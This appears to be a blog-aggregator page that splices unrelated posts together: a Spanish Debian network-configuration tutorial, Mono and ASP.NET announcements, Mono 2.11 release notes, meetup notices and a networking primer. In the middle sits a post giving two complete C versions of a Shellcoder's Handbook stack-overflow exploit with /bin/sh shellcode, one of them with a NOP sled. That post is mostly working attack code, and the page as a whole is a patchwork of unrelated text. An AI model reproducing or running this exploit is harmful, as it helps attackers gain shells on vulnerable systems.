Dominio.- Es un conjunto de equipos que están relacionados por algun motivo, y por tal motivo confían entre sí para compartir información. Por ejemplo si son equipos de la misma compañía, o equipos de la familia, o equipos que hacen la misma tarea (unos son para facturación, otros para ventas, otros para soporte, etcétera). Ejemplos de dominios son:
 
altavista.com
army.mil
dal.net
harvard.edu
debian.org
 
Se observa que también tienen separaciones mediante puntos. Las separaciones ayudan a distinguir el nombre de la organización y su giro. Así es posible que dentro de un dominio existan distintos equipos que ofrecen distintos servicios, por ejemplo un servidor que ofrezca páginas documentos vía HTTP (www.debian.org), o un servidor que ofrezca descarga de archivos vía FTP (ftp.osuosl.org), o un servidor que ofrezca servicio de conversaciones vía IRC (irc.dal.net), etcétera.
 
No todas las organizaciones usan nombres de dominio, algunas simplemente usan lo que se conoce como grupo de trabajo, o usan un dominio local.
 
Internet.- Red de redes. Red pública tipo WAN (Wide Area Network), es decir, que tiene cobertura mundial. A través de la red mundial se ofrecen servicios diversos como WWW, FTP, DNS, BBS, IRC, NTP, MAIL, por mencionar algunos. Anteriormente existían varias redes mundiales separadas, las cuales finalmente fueron unidas en un proceso conocido como inter-networking, que expresa la idea de enlazar redes distintas. En el idioma inglés la palabra network (red de trabajo) generalmente se abrevia net (red) y de ahí proviene la palabra Internet expresando la idea ser una red conformada de muchas redes. La conexión a Internet se realiza a través de un proveedor denominado ISP (Internet Service Provider).

CONFIGURAR LA CONEXIÓN

Primeramente se usa el comando ifconfig para mostrar la configuración actual de las tarjetas de red:
 
$ /sbin/ifconfig
eth0      Link encap:Ethernet  HWaddr 00:c0:4f:23:e6:5a
          inet addr:169.254.104.127  Bcast:255.255.255.0  Mask:255.255.255.0
          inet6 addr: fe80::2c0:4fff:fe23:e65a/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 MB)  TX bytes:0 (0.0 MB)
          Interrupt:11 Base address:0xc000
 
lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:6446 errors:0 dropped:0 overruns:0 frame:0
          TX packets:6446 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:583266 (569.5 KB)  TX bytes:583266 (569.5 KB)
 
Se observa que la primer línea muestra el nombre lógico, que en este caso es eth0. Tomar nota del nombre lógico. Si se muestra alguna otra, por ejemplo eth1, eth2, eth3, etcétera, puede significar que el equipo tiene más tarjetas de red alámbricas, o que al equipo se le cambió físicamente la tarjeta de red alámbrica y por ello ha tomado un nuevo nombre lógico, consecutivo.
 
El otro dispositivo mostrado, lo, se refiere a localhost (loopback) y su dirección especial 127.0.0.1.
 
a) modificar el archivo /etc/network/interfaces :

# nano /etc/network/interfaces
 
el archivo ya debe contener información sobre localhost, la cual es la siguiente y no debe ser modificada:
 
auto lo
  iface lo inet loopback
  address 127.0.0.1
  netmask 255.0.0.0
 
En algunas versiones más recientes de Debian sólo se muestran las 2 primeras líneas, lo cual es correcto en dichas versiones:
 
auto lo
  iface lo inet loopback
 
Debajo de esa sección se deben agregar los datos de la conexión de red.

CASO 1

Suponiendo que la dirección IP será dinámica, y que en la red hay otro equipo que la asignará vía DHCP, entonces los únicos datos que se agregarían para la tarjeta de red (que en este ejemplo es eth0) son:
 
auto eth0
  iface eth0 inet dhcp
 
donde la primer línea indica que la velocidad para la transmisión de datos del dispositivo eth0 se determinará de forma automática. La segunda línea indica que el dispositivo eth0 obtendrá dirección automáticamente vía DHCP. Por lo tanto el archivo finalmente debe quedar así:
 
auto lo
  iface lo inet loopback
  address 127.0.0.1
  netmask 255.0.0.0
 
auto eth0
  iface eth0 inet dhcp
 
CTRL+O y Enter para guardar los cambios, CTRL+X para salir.

CASO 2

Suponiendo que la dirección IP será estática, es decir, que todos los equipos en la red han sido configurados manualmente y por la tanto la dirección IP no se obtendrá vía DHCP, entonces los datos mínimos que se necesitarían conocer y agregar son dirección IP, máscara de subred, puerta de enlace, y servidores DNS. Suponiendo que se cuenta con los siguientes datos:
 
dirección IP: 10.0.0.71
máscara de subred: 255.255.255.0
dirección IP del enrutador: 10.0.0.254
rango de difusión: 10.0.0.255
dirección IP del servidor DNS primario: 10.0.0.1
dirección IP del servidor DNS secundario: 10.0.0.2
 
entonces lo que se agregaría al archivo sería:
 
auto eth0
  iface eth0 inet static
  address 10.0.0.71
  gateway 10.0.0.254
  broadcast 10.0.0.255
  netmask 255.255.255.0
 
donde la primera línea indica que la velocidad de conexión será automática, la segunda línea declara que la dirección IP será estática, la tercer línea indica la dirección IP, la cuarta línea la puerta de enlace (dirección IP del enrutador), la quinta línea el rango de difusión, y la sexta línea la máscara de subred.
 
Hay otros datos que se pueden agregar, pero no son estrictamente necesarios para que funcione la conexión:
 
- Un nombre (name) descriptivo de la tarjeta de red, por ejemplo:

  name Tarjeta de Red Alámbrica marca ACME modelo XYZ de 10/100 Mbps
 
- La dirección de red (network) a la que pertenece la dirección IP. Si la dirección IP fuese 192.168.0.124 entonces la dirección de red sería 192.168.0.0; si la dirección IP fuese 172.16.109.238 entonces la dirección de red sería 172.16.109.0. Se observa entonces que el último último octeto será siempre cero. En el ejemplo de este documento se ha indicado que la dirección IP es 10.0.0.71, por lo tanto pertenece a la dirección de red 10.0.0.0 y se indica así:

  network 10.0.0.0
 
- La métrica (metric) de la ruta, la cual representa el valor (costo ó precedencia) usado en la tabla de enrutamiento, por ejemplo:

  metric 1
 
Si no se declara el valor para la métrica de enrutamiento el sistema automáticamente usará un valor de 100.
 
Por lo tanto el archivo podría quedar así finalmente:
 
auto lo
  iface lo inet loopback
  address 127.0.0.1
  netmask 255.0.0.0
 
auto eth0
  iface eth0 inet static
  name Tarjeta de Red Alámbrica marca ACME modelo XYZ de 10/100 Mbps
  network 10.0.0.0
  address 10.0.0.71
  gateway 10.0.0.254
  broadcast 10.0.0.255
  netmask 255.255.255.0
  metric 1
 
CTRL+O y Enter para guardar los cambios, CTRL+X para salir.
 
b) posteriormente se usa el comando resolvconf el cual permitirá agregar las direcciones IP de los servidores DNS.
 
Se usa resolvconf con el parámetro -a (add) para añadir las direcciones IP de cada servidor DNS (nameserver) que usará la tarjeta de red (que en el ejemplo es eth0). El comando resolvconf no abre ningún editor sino que los datos se introducen en línea, es decir, inmediatamente después de introducir la contraseña y presionar Enter se debe escribir directamente la dirección IP del servidor primario y luego presionar Enter, luego la dirección IP del servidor secundario y presionar Enter. Si el equipo pertenece a un dominio se debe introducir el dominio de búsqueda y presionar Enter. Cuando todos los datos se hayan introducido se pulsará CTRL+D para indicar que se ha finalizado la edición en línea.
 
Suponiendo que el equipo no pertenece a un dominio, y usando direcciones IP de ejemplo ya mencionadas:
 
# resolvconf -a eth0
nameserver 10.0.0.1          <--- escribir y presionar Enter
nameserver 10.0.0.2          <--- escribir y presionar Enter
                        <--- presionar CTRL+D
#
 
Suponiendo que el equipo sí pertenece a un dominio (por ejemplo esdebian.org):
 
# resolvconf -a eth0
nameserver 10.0.0.1          <--- escribir y presionar Enter
nameserver 10.0.0.2          <--- escribir y presionar Enter
search esdebian.org         <--- escribir y presionar Enter
domain esdebian.org          <--- escribir y presionar Enter
                        <--- presionar CTRL+D
#
 
Es importante que CTRL+D se oprima en un renglón vacío para indicar que ya finalizó la edición en línea. La información introducida quedará almacenada en el archivo /var/run/resolvconf/interface/eth0. Dicho archivo se puede modificar posteriormente, y en caso de hacer cambios es necesario actualizar (update) para que se efectúen dichos cambios:
 
# resolvconf -u
 
Para verificar que se aplicaron los cambios, o para mostrar los servidores DNS actuales se consulta el archivo /etc/resolv.conf :
 
$ cat /etc/resolv.conf
# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)
#     DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN
nameserver 10.0.0.1
nameserver 10.0.0.2
search esdebian.org
domain esdebian.org
$
 
Si no se desea usar resolvconf entonces es posible editar (como root) el archivo de configuración con algún editor como nano:
 
# nano /etc/resolv.conf
 
recordando que se usa CTRL+O y Enter para guardar los cambios, y CTRL+X para salir.
 
c) para especificar el nombre del equipo (hostname) se edita el archivo /etc/hostname :
 
# nano /etc/hostname
 
El archivo sólo debe contener una línea con el nombre del equipo, sin agregar dominio alguno, ni líneas vacías, por ejemplo:

equipo-sala
 
para guardar los cambios se presiona CTRL+O y Enter, y para salir CTRL+X.
 
d) posteriormente se modifica, siguiendo el mismo método, el archivo /etc/hosts :
 
# nano /etc/hosts
 
y se debe agregar el mismo nombre del equipo después de la dirección IP 127.0.1.1, tal y como se muestra en la segunda línea. La sección inferior no se debe modificar pues corresponde a configuraciones para IPv6:
 
127.0.0.1 localhost
127.0.1.1 equipo-sala
 
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ff02::3 ip6-allhosts

REINICIAR EL DEMONIO DE RED

Se usa el siguiente comando para reiniciar el demonio de red:
 
# /etc/init.d/networking restart
 
Suponiendo que en la configuración se indicó que la dirección IP se obtendrá vía DHCP (CASO 1) el sistema automáticamente ejcutará el proceso dhclient, el cual buscará el servidor DHCP, solicitará una dirección IP y los demás datos necesarios, confirmará al servidor que los ha recibido y usará la configuración por el tiempo que le haya asignado el servidor DHCP. El resultado será similar al siguiente:
 
# /etc/init.d/networking restart
* Reconfiguring network interfaces...
There is already a pid file /var/run/dhclient.eth0.pid with pid 8006
killed old client process, removed PID file
Internet Systems Consortium DHCP Client V3.0.6
Copyright 2004-2007 Internet Systems Consortium.
All rights reserved.
For info, please visit http://www.isc.org/sw/dhcp/
 
Listening on LPF/eth0/00:c0:4f:23:e6:5a
Sending on   LPF/eth0/00:c0:4f:23:e6:5a
Sending on   Socket/fallback
DHCPRELEASE on eth0 to 10.0.0.254 port 67
Continuing at if-pre-up,eth0,lan
There is already a pid file /var/run/dhclient.eth0.pid with pid 134519072
Internet Systems Consortium DHCP Client V3.0.6
Copyright 2004-2007 Internet Systems Consortium.
All rights reserved.
For info, please visit http://www.isc.org/sw/dhcp/
 
Listening on LPF/eth0/00:c0:4f:23:e6:5a
Sending on   LPF/eth0/00:c0:4f:23:e6:5a
Sending on   Socket/fallback
DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval 8
DHCPOFFER of 10.0.0.200 from 10.0.0.254
DHCPREQUEST of 10.0.0.200 on eth0 to 255.255.255.255 port 67
DHCPACK of 10.0.0.200 from 10.0.0.254
Moving from if-pre-up,eth0,lan to dhclient3,lan
bound to 10.0.0.200 -- renewal in 77343 seconds.
 
Se observa en la última línea que a la tarjeta de red se le ha asociado la dirección IP 10.0.0.200, la cual fue ofrecida por el servidor DHCP integrado al enrutador (10.0.0.254). También se observa en la misma línea que el equipo solicitará al servidor DHCP una renovación de la dirección dentro de 77343 segundos, es decir, dentro de 21.4 horas ya que es la configuración predeterminada de ese servidor DHCP. Cuando transcurra ese tiempo el servidor volverá a ofrecer la misma dirección IP o asignará una distinta dependiendo de cómo esté configurado.
 
NOTA: en caso de que el comando anterior ( # /etc/init.d/networking restart ) no haya invocado a dhclient y por lo tanto no se haya obtenido una dirección IP entonces dhclient se debe ejecutar directamente:
 
# dhclient
 
Si por alguna razón se desea liberar (release) la dirección IP, es decir, informar al servidor DHCP que ya no se necesita la dirección IP que prestó:
 
# dhclient -r
 
Después de ejecutar el comando anterior el equipo se habrá quedado sin dirección IP y por lo tanto no tendrá acceso a la red. Si se desea obtener (renovar) nuevamente una dirección IP vía DHCP:
 
# dhclient
 
Es posible que el servidor DHCP vuelva a ofrecer la misma dirección IP que anteriormente proporcionó si ha pasado poco tiempo desde que se liberó. O porque el servidor DHCP maneja "reservaciones", es decir, tiene una lista de los equipos en la red y una lista correspondiente de qué direcciones IP les debe asignar, para que siempre tengan la misma dirección IP, aún cuando los equipos intenten liberar-renovar.
 
También es posible que no se manejan "reservaciones" y la dirección IP que anteriormente se usó ya fue proporcionada a otro equipo en la red. O puede ser porque los servidores DHCP esperan cierto tiempo de tolerancia pues quizás el equipo cliente desee renovar pronto, así que si ya pasó ese tiempo predeterminado entonces el servidor puede ofrecer una nueva dirección IP.
 
Suponiendo que en la configuración se indicó que la dirección IP es fija (CASO 2) el resultado será similar al siguiente:
 
# /etc/init.d/networking restart
* Reconfiguring network interfaces...
SIOCDELRT: No such process
Moving from dhclient3,lan to if-pre-up,eth0,lan
[ OK ]
 
En cualquiera de los casos finalmente se debe comprobar la configuración que se ha aplicado, nuevamente con el comando ifconfig como se explicó en el inciso e) :
 
$ /sbin/ifconfig
 
ó
 
# ifconfig

PROBAR LA CONEXIÓN

Finalmente queda probar la conexión, por ejemplo enviando unos 4 paquetes de datos con el comando ping hacia un equipo en Internet, por ejemplo:
 
$ ping 91.189.94.9 -c 4
PING 91.189.94.9 (91.189.94.9) 56(84) bytes of data.
64 bytes from 91.189.94.9: icmp_seq=1 ttl=45 time=215 ms
64 bytes from 91.189.94.9: icmp_seq=2 ttl=45 time=220 ms
64 bytes from 91.189.94.9: icmp_seq=3 ttl=45 time=220 ms
64 bytes from 91.189.94.9: icmp_seq=4 ttl=45 time=220 ms
 
--- 91.189.94.9 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 2997ms
rtt min/avg/max/mdev = 215.834/219.226/220.485/2.019 ms
 
o probar algún otro sitio que se sepa que está configurado para responder al comando ping, ya que algunos -por seguridad- están configurados para no responder.
 
Claro está, se supone que está contratado el servicio de acceso a Internet y que funciona correctamente.

LECTURAS RECOMENDADAS

Generic Network Configuration Information: http://www.tldp.org/HOWTO/NET3-4-HOWTO-5.html
 
Difusión: http://es.wikipedia.org/wiki/Broadcast_(inform%C3%A1tica)
Dirección IP: http://es.wikipedia.org/wiki/Direcci%C3%B3n_IP
Dirección IP dinámica (Dynamic Host Configuration Protocol, DHCP): http://es.wikipedia.org/wiki/DHCP
Dirección IP privada: http://es.wikipedia.org/wiki/Direcci%C3%B3n_IP_privada
Dominio: http://es.wikipedia.org/wiki/Dominio_(redes_inform%C3%A1ticas)
Enrutador: http://es.wikipedia.org/wiki/Router
Ethernet: http://es.wikipedia.org/wiki/Ethernet
ifconfig: http://es.wikipedia.org/wiki/Ifconfig
Intranet: http://es.wikipedia.org/wiki/Intranet
Máscara de subred: http://es.wikipedia.org/wiki/M%C3%A1scara_de_subred
Metrics: http://en.wikipedia.org/wiki/Metrics_(networking)
Nombre de equipo (hostname): http://es.wikipedia.org/wiki/Nombre_de_equipo
Puerta de enlace (gateway): http://es.wikipedia.org/wiki/Puerta_de_enlace
Red de Área Local (Local Area Network, LAN): http://es.wikipedia.org/wiki/Red_de_%C3%A1rea_local
Red de computadoras: http://es.wikipedia.org/wiki/Red_de_computadoras
Sistema de Nombres de Dominio (Domain Name System, DNS): http://es.wikipedia.org/wiki/Dns

NOTAS

[1] http://siddharta.kubuntu-es.org/6194/un-minicurso-intensivo-conceptos-redes-configurar-conexion-alambrica
[2] http://www.kubuntu-es.org/wiki/internet-redes/howto-conceptos-basicos-redes-configurar-conexion-red-alambrica-terminal
[3] http://www.esdebian.org/wiki/howto-conceptos-basicos-redes-configurar-conexion-red-alambrica-terminal

Yesterday Microsoft announced that another component of .NET would be open sourced. The entire ASP.NET MVC stack is now open source, including the Razor Engine, System.Json, Web API and WebPages.

With this release, they will start accepting external contributions to these products and will be running the project like other open source projects are.

Mono and the new Stacks

We imported a copy of the git tree from Codeplex into GitHub's Mono organization in the aspnetwebstack module.

The mono module itself has now taken a dependency on this module, so the next time that you run autogen.sh in Mono, you will get a copy of the aspnetwebstack inside Mono.

As of today, we replaced our System.Json implementation (which was originally built for Moonlight) and replaced it with Microsoft's implementation.

Other libraries like Razor are next, as those are trivially imported into Mono. But ASP.NET MVC 4 itself will have to wait since it depends on extending our own core ASP.NET stack to add asynchronous support.

Our github copy will contain mostly changes to integrate the stack with Mono. If there are any changes worth integrating upstream, we will submit the code directly to Microsoft for inclusion. If you want to experiment with ASP.NET Web Stack, you should do this with your own work and work directly with the upstream maintainers.

Extending Mono's ASP.NET Engine

The new ASP.NET engine has been upgraded to support C# 5.0 asynchronous programming and this change will require a number of changes to the core ASP.NET.

We currently are not aware of anyone working on extending our ASP.NET core engine to add these features, but those of us in the Mono world would love to assist enthusiastic new developers of people that love async programming to bring these features to Mono.

Some days ago I posted about an exploit presented in the book The Shellcoder's handbook, currently I have the reason of why the exploit in the book doesn't work. The code is wrong.

The buffer for the dynamic variables never was asigned, the correct code is:

#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[])
{
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  if (!(buff = malloc(bsize))) {
         printf("Can't allocate memory.\n");
         exit(0);
  }

  addr = get_sp() - offset;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
       *(addr_ptr++) = addr;

  ptr += 4;

  for (i = 0; i < strlen(shellcode); i++)
          *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  memcpy(buff,"BUF=",4);
  putenv(buff);
  system("/bin/bash");

My friend nitr0us told me about the use of NOPslead, in the original paper of Lamagra, the author shows the use of the NOPsled with the same exploit:

#include <stdlib.h>

 #define DEFAULT_OFFSET                    0
 #define DEFAULT_BUFFER_SIZE             512
 #define NOP                            0x90

 char shellcode[] =
   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
   "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[])
{
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  if (!(buff = malloc(bsize))) {
        printf("Can't allocate memory.\n");
        exit(0);
  }

  addr = get_sp() - offset;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
         *(addr_ptr++) = addr;

  for (i = 0; i < bsize/2; i++)
         buff[i] = NOP;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
         *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  memcpy(buff,"BUF=",4);
  putenv(buff);
  system("/bin/bash");
}

So, in this exploit the memory is like this:

|| ‌0x90\0x90\0x90\0x90\0x90\0x90\SHELLCODE\SHELLCODE\SHELLCODE\SHELLCODE\ADDR\ADDR\ADDR\ADDR\ADDR\‌.||

Pfff‌ :)

I'm going to read the papers that nitr0us recomended me, I then back to the book‌ maybe are more mistakes in the book, but I hope that I can distinguish the errors.

Cloud Computing, el Nuevo Paradigma de Entrega de Servicios, presentación impartida en el ITES del Los Cabos, Marzo del 2012

El día de ayer se realizó el intento de la primera reunión de SLM. Digo intento porque solo asistimos 3 personas Espero que para la siguiente reunión pueda elegir un horario y lugar que sea más adecuado para que tengamos una mejor asistencia.
Lo que está en preparación ahora es el FLISoL Cuernavaca. Cuando tengamos información de sede y horarios lo estaré compartiendo aquí.

Hace Mucho que no subía screenshots de mi escritorio linux, unos pantallazos de como luce, como lo acomodo, etc

Hoy aproveche para guardar algunas imágenes y me tope con un script para colocar en la página un slideshhow de las mismas

vamos a probar que tal y de paso a mostrar pantallazos de como ha lucido mi escritorio al paso de los años, se que hay baches,  la mayoría de las fotos son utilizando en entorno de escritorio KDE.

Related posts:

1. Mi escritorio de octubre de 2010
2. pantallazo a mi escritorio ahora con Sidux
3. Mi escritorio en Septiembre

Las redes de computadoras nos permiten interactuar entre 2 o más dispositivos entre sí a través de un medio físico que se conoce como “cable” o también puede ser por medios inalámbricos.

Principalmente usados para la compartición de recursos.

Y pueden encontrar mucha más información si buscan un poco.

Ahora bien de forma general podemos decir que las características de una red serian:

Compartición de arhivos: Fue la razón principal para tener una red. Para que se cumpla se requiere de un directorio compartido que pueda ser accesado por muchos usarios de la red, junto a toda la lógica asociada para que más de una persona no realice cambios conflictivos a un archivo al mismo tiempo.

Compartición de impresoras: Con esto reducimos el número de impresoras en la organización. Se hace necesario el uso de colas de impresión para que las impresiones se lleven a cabo y de forma automática enviar los trabajos en espera en dicha cola.

Servicios de aplicación: Así como se pueden compartir archivos o carpetas en una red, se pueden comparti aplicaciones, las más comunes son aplicativos de contabilidad. Si se requiere por ejemplo de instalar algún programa en diversas computadoras de la red, en lugar de ir colocando el CD-ROM en cada una, se puede tener una carpeta con el contenido del mismo y ejecutar el instalador desde cada equipo.

Correo electrónico: Es un recurso bastante valioso y que incluso muchas organizaciones no lo aprovechan al máximo. No solamente es útil para las comunicaciones internas sino también para las externas.

Acceso remoto: Se usa principalmente para acceder desde el exterior a los recursos de la red interna. Los usuarios la utilizan para ver sus archivos, correo electrónico ya sea que se encuentren de viaje, desde su hogar, etc.

Por supuesto no son las únicas, pero las que más se usan hoy en día. Si se encuentra dentro de una organización y su red no está operando como debiera, busque replantearse si es lo que necesita, necesita que sea reparada, modificada o ampliada. Las redes bien implementadas pueden ser de gran ayuda y utilidad para la organización y con gusto se le puede asesorar para su mejora.

Para aquellos que no participan en el mailing list de Software Libre Morelos. EL día de mañana (Viernes 23 de marzo) vamos a tener nuestra primer reunión del año a las 18:30 horas.
Se va a llevar a cabo en el Café Alondra, situado en Calle Hidalgo #22 Colonia Centro, en Cuernavaca, este café se encuentra situado frente a la Catedral –> http://goo.gl/zUwYJ

Ahi nos vemos!
–
Kwame

After more than a year of development, we are happy to announce Mono 2.11, the first in a series of beta releases that will lead to the next 2.12 stable release.

Continuous Integration

To assist those helping us with testing the release, we have setup a new continuous build system that builds packages for Mac, OpenSUSE and Windows at http://wrench.mono-project.com/Wrench.

Packages

To test drive Mono 2.11 head to our our downloads page and select the "Alpha" section of the page to get the packages for Mac, Windows or Linux.

The Linux version is split up in multiple packages.

The Windows version ships with Gtk+ and Gtk#

The Mac version ships with Gtk+, Gtk#, F#, IronPython and IronRuby and comes in two versions: Mono Runtime Environment (MRE) and the more complete Mono Development Kit (MDK).

At this stage, we recommend that users get the complete kit.

Runtime Improvements in Mono 2.11

There are hundreds of new features available in this release as we have accumulated them over a very long time. Every fix that has gone into the Mono 2.10.xx series has been integrated into this release.

In addition, here are some of the highlights of this release.

Garbage Collector: Our SGen garbage collector is now considered production quality and is in use by Xamarin's own commercial products.

The collector on multi-CPU systems will also distribute various tasks across the CPUs, it is no longer limited to the marking phase.

The guide Working with SGen will help developers tune the collector for their needs and discusses tricks that developers can take advantage of.

ThreadLocal<T> is now inlined by the runtime engine, speeding up many threaded applications.

Full Unicode Surrogate Support this was a long standing feature and has now been implemented.

C# 5.0 -- Async Support

Mono 2.11 implements the C# 5.0 language with complete support for async programming.

The Mono's class libraries have been updated to better support async programming. See the section "4.5 API" for more details.

C# Backend Rewrite

The compiler code generation backend was rewritten entirely to support both IKVM.Reflection and System.Reflection which allowed us to unify all the old compilers (mcs, gmcs, dmcs and smcs) into a single compiler: mcs. For more information see Backend Rewrite.

The new IKVM.Reflection backend allows the compiler to consume any mscorlib.dll library, instead of being limited to the ones that were custom built/crafted for Mono.

In addition, the compiler is no longer a big set of static classes, instead the entire compiler is instance based, allowing multiple instances of the compiler to co-exist at the same time.

Compiler as a Service

Mono's Compiler as a Service has been extended significantly and reuses the compiler's fully instance based approach (see Instance API for more details).

Mono's compiler as a service is still a low-level API to the C# compiler. The NRefactory2 framework --shared by SharpDevelop and MonoDevelop-- provides a higher level abstraction that can be -- used by IDEs and other high-level tools.

C# Shell

Our C# interactive shell and our C# API to compile C# code can in addition to compiling expressions and statements can now compile class definitions.

4.5 API

4.5 Profile Mono now defaults to the 4.5 profile which is a strict superset of the 4.0 profile and reuses the same version number for the assemblies.

Although .NET 4.5 has not yet been officially released, the compiler now defaults to the 4.5 API, if you want to use different profile API you must use the -sdk:XXX switch to the command line compiler.

Because 4.5 API is a strict superset of 4.0 API they both share the same assembly version number, so we actually install the 4.5 library into the GAC.

Some of the changes in the 4.5 API family include:

• New Async methods
• WinRT compatibility API
• Newly introduced assemblies: System.Net.Http, System.Threading.Tasks.Dataflow

The new System.Net.Http stack is ideal for developers using the C# 5.0 async framework.

Debugging

The GDB support has been extended and can pretty print more internal variables of Mono as well as understanding SGen internals.

The soft debugger has seen a large set of improvements:

• Single stepping is now implemented using breakpoints in most cases, speeding it up considerably.
• Calls to System.Diagnostics.Debugger:Log()/Break () are now routed to the debugger using new UserLog/UserBreak event types.
• S390x is now supported (Neale Ferguson).
• MIPS is now supported.
• Added new methods to Mono.Debugger.Soft and the runtime to decrease the amount of packets transmitted between the debugger and the debuggee. This significantly improves performance over high latency connections like USB.

Mac Support

Mac support has been vastly extended, from faster GC by using native Mach primitives to improves many features that previously only worked on Linux to extending the asynchronous socket support in Mono to use MacOS X specific primitives.

New Ports

We have completed the Mono MIPS port.

Performance

As a general theme, Mono 2.11 has hundreds of performance improvements in many small places which add up.

Cartel SuperHappyDevHouse Tijuana, marzo 2012.

Esto es muy simple. A desarrollar se aprende desarrollando. Este 24 de marzo (sábado) de 2012 estaremos reuniéndonos en el SHDH Tijuana a ver qué sale. :-) Algunos van a trabajar sobre proyectos de su página, otros sobre proyectos de negocio, otros van a ver qué hay de nuevo en el desarrollo de software, etc. La mejor forma de conocer en una comunidad local es participando. Así que no hay más: regístrate y llégale.

Nos vemos ahí. Lleva tu laptop y tu multitoma o extensión. Sugiero que te lleves todas las herramientas instaladas porque todavía nadie dice que va a llevar Internet… o mejor aún, lleva Internet. :-)